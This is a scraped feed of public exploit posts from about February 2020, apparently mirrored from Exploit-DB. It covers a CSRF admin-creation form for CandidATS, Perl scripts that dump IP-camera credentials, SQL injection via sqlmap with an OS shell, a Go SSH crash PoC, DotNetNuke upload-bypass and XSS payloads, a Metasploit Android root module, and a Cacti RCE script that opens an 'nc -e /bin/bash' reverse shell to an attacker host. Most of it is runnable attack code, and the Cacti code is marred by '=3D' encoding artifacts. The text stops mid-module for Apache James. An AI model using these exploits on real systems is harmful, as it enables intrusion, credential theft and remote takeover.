ISHACK AI BOT 发布的所有帖子
-
CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin) # Date: 2020-02-21 # Exploit Author: J3rryBl4nks # Vendor Homepage: https://sourceforge.net/u/auieo/profile/ # Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0 # Tested on Ubuntu 19/Kali Rolling # The Candid ATS Web application is vulnerable to CSRF to add a new admin user: #CSRF Proof of Concept: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST"> <input type="hidden" name="postback" value="postback" /> <input type="hidden" name="role" value="none" /> <input type="hidden" name="firstName" value="Test" /> <input type="hidden" name="lastName" value="User" /> <input type="hidden" name="email" value="test@test.com" /> <input type="hidden" name="username" value="Test" /> <input type="hidden" name="password" value="password" /> <input type="hidden" name="retypePassword" value="password" /> <input type="hidden" name="roleid" value="2" /> <input type="hidden" name="accessLevel" value="500" /> <input type="hidden" name="submit" value="Add User" /> <input type="submit" value="Submit request" /> </form> </body> </html>
-
AMSS++ 4.7 - Backdoor Admin Account
# Title: AMSS++ 4.7 - Backdoor Admin Account # Author: indoushka # Date: 2020-02-23 # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) # Vendor : http://amssplus.ubn4.go.th/amssplus_download/amssplus_4_31_install.rar # Dork : แนะนำให้ใช้บราวเซอร์ Google Chrome "AMSS++" ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Login : admin & 1234 [+] http://127.0.0.1/innoobec/index.php Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | =======================================================================================================================================
-
SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure
# Exploit Title: SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure # Author: Todor Donev # Date: 2020-02-23 # Vendor: https://secu.jp/ # Product Link: https://secu.jp/support/831.html # CVE: N/A #!/usr/bin/perl # # SecuSTATION SC-831 HD Camera Remote Configuration Disclosure # # Copyright 2020 (c) Todor Donev # # https://donev.eu/ # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # [ SecuSTATION SC-831 HD Camera Remote Configuration Disclosure # [ ============================================================ # [ Exploit Author: Todor Donev 2020 <[email protected]> # [ Initializing the browser # [ >> User-Agent => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre # [ >> Content-Type => application/x-www-form-urlencoded # [ << Connection => close # [ << Date => Fri, 21 Feb 2020 20:36:59 GMT # [ << Accept-Ranges => bytes # [ << Server => thttpd/2.25b 29dec2003 # [ << Content-Length => 25760 # [ << Content-Type => application/octet-stream # [ << Last-Modified => Fri, 21 Feb 2020 20:36:57 GMT # [ << Client-Date => Fri, 21 Feb 2020 20:37:01 GMT # [ << Client-Peer => 192.168.1.208:80 # [ << Client-Response-Num => 1 # [ # [ Username : admin # [ Password : admin use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster 'gunzip'; my $host = shift || ''; # Full path url to the store my $cmd = shift || ''; # show - Show configuration dump $host =~ s/\/$//; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ SecuSTATION SC-831 HD Camera Remote Configuration Disclosure\n"; print "[ ============================================================\n"; print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n"; if ($host !~ m/^http/){ print "[ Usage, Password Disclosure: perl $0 https://target:port/\n"; print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n"; exit; } print "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); # my $target = $host."/tmpfs/config_backup.bin"; my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200); my $gzipped = $response->content(); my $config = gunzip($gzipped); print "[ \n"; if ($cmd =~ /show/) { print "[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,$config); exit; } else { print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/); print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/); exit; }
-
ATutor 2.2.4 - 'id' SQL Injection
# Exploit Title: ATutor 2.2.4 - 'id' SQL Injection # Date: 2020-02-23 # Exploit Author: Andrey Stoykov # Vendor Homepage: https://atutor.github.io/ # Software Link: https://sourceforge.net/projects/atutor/files/latest/download # Version: ATutor 2.2.4 # Tested on: LAMP on Ubuntu 18.04 Steps to Reproduce: 1) Login as admin user 2) Browse to the following URL: http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17' 3) Exploiting with SQLMAP: //Must supply valid User-Agent otherwise, there will be errors. sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --dbms=mysql -u "http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17*" --cookie=<COOKIES HERE>
-
I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure
# Exploit Title: I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure # Author: Todor Donev # Date: 2020-02-23 # Vendor: https://www.revotec.com/ # Product Link: # CVE: N/A #!/usr/bin/perl # # Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure # # Copyright 2020 (c) Todor Donev # # https://donev.eu/ # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # [ Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure # [ ===================================================================================== # [ Exploit Author: Todor Donev 2020 <[email protected]> -- https://donev.eu/ # [ Initializing the browser # [ >> User-Agent => Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i686-pc-linux; X11) # [ >> Content-Type => application/x-www-form-urlencoded # [ << Connection => close # [ << Date => Sun, 23 Feb 2020 10:57:32 GMT # [ << Accept-Ranges => bytes # [ << Server => thttpd/2.25b 29dec2003 # [ << Content-Length => 23876 # [ << Content-Type => application/octet-stream # [ << Last-Modified => Sun, 23 Feb 2020 10:57:32 GMT # [ << Client-Date => Sun, 23 Feb 2020 10:57:44 GMT # [ << Client-Response-Num => 1 # [ # [ Username : admin # [ Password : admin use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster 'gunzip'; my $host = shift || ''; # Full path url to the store my $cmd = shift || ''; # show - Show configuration dump $host =~ s/\/$//; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure\n"; print "[ =====================================================================================\n"; print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com> -- https://donev.eu/\n"; if ($host !~ m/^http/){ print "[ Usage, Password Disclosure: perl $0 https://target:port/\n"; print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n"; exit; } print "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); # my $target = $host."/config_backup.bin"; # my $target = $host."/tmpfs/config_backup.bin"; my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200); my $gzipped = $response->content(); my $config = gunzip($gzipped); print "[ \n"; if ($cmd =~ /show/) { print "[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,$config); exit; } else { print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/); print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/); exit; }
-
ManageEngine EventLog Analyzer 10.0 - Information Disclosure
# Exploit Title: ManageEngine EventLog Analyzer 10.0 - Information Disclosure # Date: 2020-02-23 # Author:Scott Goodwin # Vendor: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/products/eventlog/ # CVE: CVE-2019-19774 Vulnerability Name: Authenticated Information Disclosure in ManageEngine EventLog Analyzer Registered: CVE-2019-19774 Discoverer: Scott Goodwin, OSCP OCD Tech Vendor of Product: ManageEngine Affected Product Code Base: EventLog Analyzer - 10.0 SP1 Affected Component: Affected ManageEngine endpoint: http://exampleclient:8400/event/runquery.do This endpoint allows the ManageEngine user to execute commands against the ManageEngine PostgreSQL database. Attack Type: Remote Vulnerability Type: Incorrect Access Control Vulnerability Impact: Authenticated Information Disclosure Attack Vector: To exploit the vulnerability, an authenticated user must execute a specially crafted query against the ManageEngine database to bypass the built-in security controls and extract credential data. Vulnerability Description: An issue was discovered in Zoho ManageEngine EventLog Analyzer 10.0 SP1. By running "select hostdetails from hostdetails" at the /event/runquery.do endpoint, it is possible to bypass the security restrictions that prevent even administrative users from viewing credential data stored in the database, and recover the MD5 hashes of the accounts used to authenticate the ManageEngine platform to the managed machines on the network (most often administrative accounts). Specifically, this bypasses the following restrictions: a query cannot mention "password", and a query result cannot have a "password" column. PoC: Run the database query: "select hostdetails from hostdetails" at the /event/runquery.do endpoint Reporting Timeline: 10/30/2019: This vulnerability was reported to ManageEngine via the Zoho/ManageEngine Bug Bounty program. They acknowledged the initial report. 12/12/2019: Vulnerability registered 12/13/2019: Vulnerability acknowledged and update (12110) made available to ManageEngine customers. 12/13/2019: Public disclosure Additional Information: This query bypasses the following security restrictions implemented within Manage Engine: 1. restrictions on queries that include the word "password". This query will output the value stored in the "password" field, without the word "password" actually appearing in the query. If the query contains the word "password" Manage Engine will not execute the query. 2. restrictions on printing the password field to the screen in a column called "password". If the results of the query include a columncalled "password", Manage Engine will mask the password with a series of asterisks "". This query will output the entire contents of the table, without formatting is as a table within the web interface, which leads to bypass of this security control. Remediated Product Version: ManageEngine EventLog Analyzer Build 12110 Reference: https://www.manageengine.com/products/eventlog/ https://www.manageengine.com/products/eventlog/features-new.html#release https://gist.github.com/scottgoodwin90/19ccecdc9f5733c0a9381765cfc7fe39 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19774 https://ocd-tech.com
-
Go SSH servers 0.0.2 - Denial of Service (PoC)
# Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC) # Author: Mark Adams # Date: 2020-02-21 # Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py # CVE: CVE-2020-9283 # # Running this script may crash the remote SSH server if it is vulnerable. # The GitHub repository contains a vulnerable and fixed SSH server for testing. # # $ python poc.py # ./poc.py <host> <port> <user> # # $ python poc.py localhost 2022 root # Malformed auth request sent. This should cause a panic on the remote server. # #!/usr/bin/env python import socket import sys import paramiko from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST if len(sys.argv) != 4: print('./poc.py <host> <port> <user>') sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) t = paramiko.Transport(sock) t.start_client() t.lock.acquire() m = paramiko.Message() m.add_byte(cMSG_SERVICE_REQUEST) m.add_string("ssh-userauth") t._send_message(m) m = paramiko.Message() m.add_byte(cMSG_USERAUTH_REQUEST) m.add_string(user) m.add_string("ssh-connection") m.add_string('publickey') m.add_boolean(True) m.add_string('ssh-ed25519') # Send an SSH key that is too short (ed25519 keys are 32 bytes) m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short') # Send an empty signature (the server won't get far enough to validate it) m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00') t._send_message(m) print('Malformed auth request sent. This should cause a panic on the remote server.')
-
eLection 2.0 - 'id' SQL Injection
# Title: eLection 2.0 - 'id' SQL Injection # Date: 2020-02-21 # Exploit Author: J3rryBl4nks # Vendor Homepage: https://sourceforge.net/projects/election-by-tripath/ # Software Link: https://sourceforge.net/projects/election-by-tripath/files/#Version 2.0 # Tested on Ubuntu 19/Kali Rolling # The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution: # Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file: POST /election/admin/ajax/op_kandidat.php HTTP/1.1 Host: HOSTNAME User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://HOSTNAME/election/admin/kandidat.php?_ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 17 Connection: close Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us aksi=fetch&id=256 Send the request to SQLMap with the following parameters: sqlmap -r getcandidate --level=5 --risk=3 --os-shell -p id SQLMap will find the injection: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: aksi=fetch&id=256 AND 8584=8584 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ) Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: aksi=fetch&id=-9798 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707171,0x676d755461434e486f49475051707357694861534e664f416f434269487042545a76454f5843584b,0x71717a7871),NULL,NULL-- dWMc --- [09:39:07] [WARNING] unable to automatically parse any web server path [09:39:07] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/election/' via LIMIT 'LINES TERMINATED BY' method [09:39:07] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpumlfm.php [09:39:07] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/election/' - http://HOSTNAME/election/tmpbpfkq.php [09:39:07] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> Due to the way the setup of the application requires you to change permissions on the directory of the web app, you should be able to get a shell. https://github.com/J3rryBl4nks/eLection-TriPath-/blob/master/SQLiIntoRCE.md
-
DotNetNuke 9.5 - File Upload Restrictions Bypass
# Exploit Title: DotNetNuke 9.5 - File Upload Restrictions Bypass # Date: 2020-02-23 # Exploit Author: Sajjad Pourali # Vendor Homepage: http://dnnsoftware.com/ # Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip # Version: <= 9.5 # CVE : N/A # More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175 The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats — “jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl, xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv”. As a normal user you are allowed to upload files with “bmp,gif,ico,jpeg,jpg,jpe,png,svg” extensions. The same file upload module used for superuser is reused for normal users with extra validation for a few additional extensions e.g. CSS extension is not allowed. Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can bypass the client-side validation and upload files with extensions which are allowed only for superuser only. For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by executing the following code on a browser’s console (in the tab that manages profile’s page has opened). This attack may also be performed using proxy tools such as Burp, ZAP etc. dnn.createFileUpload({ "clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl", "moduleId": "", "parentClientId": null, "showOnStartup": true, "folderPicker": { "selectedItemCss": "selected-item", "internalStateFieldId": null, "disabled": false, "selectItemDefaultText": "", "initialState": { "selectedItem": { "key": "0", "value": "My Folder" } }, "onSelectionChanged": [] }, "maxFileSize": 299892736, "maxFiles": 0, "extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate", "ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"], "resources": { "title": "Upload Files", "decompressLabel": "Decompress Zip Files", "uploadToFolderLabel": "Upload To:", "dragAndDropAreaTitle": "Drag files here or click to browse", "uploadFileMethod": "Upload File", "uploadFromWebMethod": "From URL", "closeButtonText": "Close", "uploadFromWebButtonText": "Upload", "decompressingFile": "Decompressing File", "fileIsTooLarge": "File size bigger than 286. Mb", "fileUploadCancelled": "Upload cancelled", "fileUploadFailed": "Upload failed", "fileUploaded": "File uploaded", "emptyFileUpload": "Your browser does not support empty file uploads.", "fileAlreadyExists": "The file you want to upload already exists in this folder.", "uploadStopped": "File upload stopped", "urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png", "keepButtonText": "Keep", "replaceButtonText": "Replace", "tooManyFiles": "You cannot upload more than {0} file(s) at once.", "invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload. You can only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.", "unzipFilePromptTitle": "Unzip Information", "unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not extracted because their file types are not supported:</p>[FILELIST]</div>", "unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted successfully.</p></div>", "errorDialogTitle": "Error" }, "width": 780, "height": 630, "folderPath": dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope.folder, "parameters": {} });
-
DotNetNuke 9.5 - Persistent Cross-Site Scripting
# Exploit Title: DotNetNuke 9.5 - Persistent Cross-Site Scripting # Date: 2020-02-23 # Exploit Author: Sajjad Pourali # Vendor Homepage: http://dnnsoftware.com/ # Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip # Version: <= 9.5 # CVE : N/A # More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175 DNN allows normal users to upload XML files by using journal tools in their profile. An attacker could upload XML files which may execute malicious scripts in the user’s browser. In XML, a namespace is an identifier used to distinguish between XML element names and attribute names which might be the same. One of the standard namespaces is “http://www.w3.org/1999/xhtml” which permits us to run XHTML tags such as <script>. For instance, uploading the following code as an XML file executes javascript and shows a non-harmful ‘XSS’ alert. <?xml version="1.0" encoding="UTF-8"?> <script xmlns="http://www.w3.org/1999/xhtml"> alert('XSS'); </script> Though stealing of authentication cookies are not possible at this time (because the authentication’s cookies are set as HttpOnly by default), XSS attacks are not limited to stealing users’ cookies. Using XSS vulnerability, an attacker can perform other more damaging attacks on other or high privileged users, for example, bypassing CSRF protections which allows uploading “aspx” extension files through settings page which leads to upload of backdoor files.
-
Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure
# Exploit Title: Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure # Author: Todor Donev # Date: 2020-02-23 # Vendor: https://acesecurity.jp # Product Link: https://acesecurity.jp/support/top/wip_series/wip-90113 # CVE: N/A #!/usr/bin/perl # # ACE SECURITY WiP-90113 HD Camera Remote Configuration Disclosure # # Copyright 2020 (c) Todor Donev # # https://donev.eu/ # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # [ ACE SECURITY WiP-90113 HD Camera Remote Configuration Disclosure # [ ================================================================ # [ Exploit Author: Todor Donev 2020 <[email protected]> # [ Initializing the browser # [ >> User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko) # [ >> Content-Type => application/x-www-form-urlencoded # [ << Connection => close # [ << Date => Sat, 22 Feb 2020 14:10:01 GMT # [ << Accept-Ranges => bytes # [ << Server => thttpd/2.25b 29dec2003 # [ << Content-Length => 25893 # [ << Content-Type => application/octet-stream # [ << Last-Modified => Sat, 22 Feb 2020 14:10:00 GMT # [ << Client-Date => Sat, 22 Feb 2020 14:10:04 GMT # [ << Client-Peer => 192.168.200.49:8080 # [ << Client-Response-Num => 1 # [ # [ Username : admin # [ Password : admin use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster 'gunzip'; my $host = shift || ''; # Full path url to the store my $cmd = shift || ''; # show - Show configuration dump $host =~ s/\/$//; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ ACE SECURITY WiP-90113 HD Camera Remote Configuration Disclosure\n"; print "[ ================================================================\n"; print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n"; if ($host !~ m/^http/){ print "[ Usage, Password Disclosure: perl $0 https://target:port/\n"; print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n"; exit; } print "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); # my $target = $host."/config_backup.bin"; # my $target = $host."/tmpfs/config_backup.bin"; my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200); my $gzipped = $response->content(); my $config = gunzip($gzipped); print "[ \n"; if ($cmd =~ /show/) { print "[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,$config); exit; } else { print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/); print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/); exit; }
-
Android Binder - Use-After-Free (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => "Android Binder Use-After-Free Exploit", 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # discovery and exploit 'Maddie Stone', # discovery and exploit 'grant-h', # Qu1ckR00t 'timwr', # metasploit module ], 'References' => [ [ 'CVE', '2019-2215' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ], [ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ], [ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ], ], 'DisclosureDate' => "Sep 26 2019", 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ "android", "linux" ], 'Arch' => [ ARCH_AARCH64 ], 'Targets' => [[ 'Auto', {} ]], 'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp', 'WfsDelay' => 5, }, 'DefaultTarget' => 0, } )) end def upload_and_chmodx(path, data) write_file path, data chmod(path) register_file_for_cleanup(path) end def exploit local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" ) exploit_data = File.read(local_file, {:mode => 'rb'}) workingdir = session.fs.dir.getwd exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" upload_and_chmodx(exploit_file, exploit_data) payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" upload_and_chmodx(payload_file, generate_payload_exe) print_status("Executing exploit '#{exploit_file}'") result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}") print_status("Exploit result:\n#{result}") end end
-
Cacti 1.2.8 - Remote Code Execution
# Exploit Title: Cacti 1.2.8 - Remote Code Execution # Date: 2020-02-03 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 #!/usr/bin/python3 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4') if len(sys.argv) !=3D 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url =3D sys.argv[1] username =3D sys.argv[2] password =3D sys.argv[3] ip =3D sys.argv[4] port =3D sys.argv[5] def login(token): login_info =3D { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request =3D request.post(url+"/index.php", login_info) login_text =3D login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info =3D { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request =3D request.post(url+"/user_admin.php?header=3Dfalse", r= equest_info) if enable_request: return True else: return False def send_exploit(): payload =3D ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies =3D {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=3Dinit", cookies=3Dcookies= ) request =3D requests.session() print("[+]Retrieving login CSRF token") page =3D request.get(url+"/index.php") html_content =3D page.text soup =3D BeautifulSoup(html_content, "html5lib") token =3D soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status =3D login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page =3D request.get(url+"/user_admin.php?action=3Duser_edit&id=3D3= &tab=3Drealms") html_content =3D page.text soup =3D BeautifulSoup(html_content, "html5lib") token =3D soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime =3D enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
-
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write", 'Description' => %q{ This module exploits a vulnerability that exists due to a lack of input validation when creating a user. Messages for a given user are stored in a directory partially defined by the username. By creating a user with a directory traversal payload as the username, commands can be written to a given directory. To use this module with the cron exploitation method, run the exploit using the given payload, host, and port. After running the exploit, the payload will be executed within 60 seconds. Due to differences in how cron may run in certain Linux operating systems such as Ubuntu, it may be preferable to set the target to Bash Completion as the cron method may not work. If the target is set to Bash completion, start a listener using the given payload, host, and port before running the exploit. After running the exploit, the payload will be executed when a user logs into the system. For this exploitation method, bash completion must be enabled to gain code execution. This exploitation method will leave an Apache James mail object artifact in the /etc/bash_completion.d directory and the malicious user account. }, 'License' => MSF_LICENSE, 'Author' => [ 'Palaczynski Jakub', # Discovery 'Matthew Aberegg', # Metasploit 'Michael Burkey' # Metasploit ], 'References' => [ [ 'CVE', '2015-7611' ], [ 